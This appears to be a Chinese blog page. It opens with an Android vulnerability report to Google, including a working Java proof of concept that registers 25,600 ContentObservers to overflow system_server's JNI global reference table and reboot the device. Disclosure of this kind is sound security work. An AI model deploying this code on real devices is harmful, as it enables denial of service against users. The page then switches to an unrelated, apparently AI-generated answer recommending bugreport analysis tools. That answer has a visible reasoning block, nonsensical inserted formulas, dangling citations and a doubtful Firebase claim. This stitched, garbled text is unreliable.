Bug Report to Google of Android

当恶意代码在一个应用程序中注册过多的ContentObserver时,会导致system_server创建大量的BinderProxy对象和JNI全局引用对象,从而引起JNI全局引用表溢出,最终使系统重启。此问题在特定条件下触发,详细代码及日志已附。

demo 地址

https://github.com/SundayCool/JNIoverflow

 

https://issuetracker.google.com/issues/117744552

When the malicious code in an APP to register too many ContentObserver, it will make system_server creates many Binder Proxy objects and JNI Glocal Reference objects which will lead to JNI global reference table overflow that makes system reboots.

Just as the code bellow, when the method onClick called in Line 32, system will reboot of JNI Error.
The log and demo code are attached.

  1 public class MainActivity extends ActionBarActivity
  2 implements OnClickListener{
  3
  4         class SettingsObserver extends ContentObserver {
  5             SettingsObserver(Handler handler) {
  6                 super(handler);
  7             }
  8
  9             void observe() {
 10                 ContentResolver resolver = getContentResolver();
 11                 resolver.registerContentObserver(
 12                                 Settings.System.getUriFor(Settings.System.ALARM_ALERT), false, this );
 13
 14                 updateSettings();
 15             }
 16             @Override
 17                 public void onChange(boolean selfChange) {
 18                 updateSettings();
 19             }
 20
 21             @Override
 22             protected void finalize() throws Throwable {
 23                 getContentResolver().unregisterContentObserver(this);
 24                 // TODO Auto-generated method stub
 25                 super.finalize();
 26             }
 27         }
 28
 29         public void updateSettings() {
 30         }
 31
 32         public void onClick(View src)
 33         {
 34                 try {
 35                         new Thread() {
 36                                 @Override
 37                                 public void run(){
 38                                         for (int i = 0; i < 25600; i++) {
 39                                                 SettingsObserver observer = new SettingsObserver(null);
 40                                                 observer.observe();
 41                                         }
 42                                 }
 43                         }.start();
 44
 45                 } catch (Exception e) {
 46                         // TODO: handle exception
 47                 }
 48
 49
 50         }
 51

<think>我们正在寻找能够分析Android设备bugreport的工具。根据引用内容,有两个主要工具被提及: 1. Google的Battery Historian:专门用于分析电池消耗,但也可以用于其他bugreport分析。 2. Sony开源的ChkBugReport:提供另一种视角解读bugreport文件,界面简单明了。 此外,引用[2]提到了一些功能,如按时间单位绘制报告数量、查看报告分布(按Android版本、SDK版本等)、列出崩溃报告和查看错误详情等。 因此,推荐的Android bugreport分析工具包括: - Battery HistorianGoogle官方工具) - ChkBugReport(Sony开源工具) 用户可以根据需求选择使用,甚至可以结合两者使用以获得更全面的分析。</think>### Android Bugreport分析工具推荐 分析Android设备的bugreport文件主要有以下专业工具: #### 1. **Battery Historian**(Google官方工具) - **功能**:专门分析电池消耗问题,可视化展示系统状态(如CPU唤醒锁、网络状态、传感器使用等) - **特点**: - 支持时间线图表展示$t$($t$为时间变量) - 可关联系统事件与电池消耗曲线 - 需通过Docker部署服务端 - **使用场景**:定位电池异常消耗、系统唤醒问题 - **项目地址**:[github.com/google/battery-historian](https://github.com/google/battery-historian) #### 2. **ChkBugReport**(Sony开源工具) - **功能**:提供结构化解析报告,包含: ```plaintext - 系统服务状态 (dumpsys) - 进程资源占用 (meminfo, cpuinfo) - 异常堆栈追踪 (stack traces) - 日志时间线 (timeline logging) ``` - **特点**: - 单文件可执行程序(无需部署) - 生成HTML交互式报告 - 支持错误分类统计$S=\sum_{i=1}^{n} error_i$ - **项目地址**:[github.com/sonyxperiadev/ChkBugReport](https://github.com/sonyxperiadev/ChkBugReport) - **注意**:建议与Battery Historian结合使用[^1] #### 3. **在线分析平台** - **Firebase Crashlytics**: ```mermaid graph LR A[上传bugreport] --> B(自动聚合相同错误) B --> C[可视化设备分布] C --> D[堆栈反混淆] ``` - **功能**: - 跨版本错误追踪 - 用户影响面统计$P=\frac{affected\_users}{total\_users} \times 100\%$ - 支持自定义过滤条件 #### 工具对比表 | 工具 | 部署难度 | 分析深度 | 实时监控 | 适用场景 | |-------------------|----------|----------|----------|-------------------| | Battery Historian | 中等 | ★★★★☆ | ❌ | 电池/系统性能分析 | | ChkBugReport | 简单 | ★★★☆☆ | ❌ | 快速问题定位 | | Firebase | 无需部署 | ★★★★★ | ✅ | 线上崩溃监控 | > **最佳实践**:开发调试建议使用ChkBugReport快速定位问题,线上监控推荐Firebase实现自动化分析[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值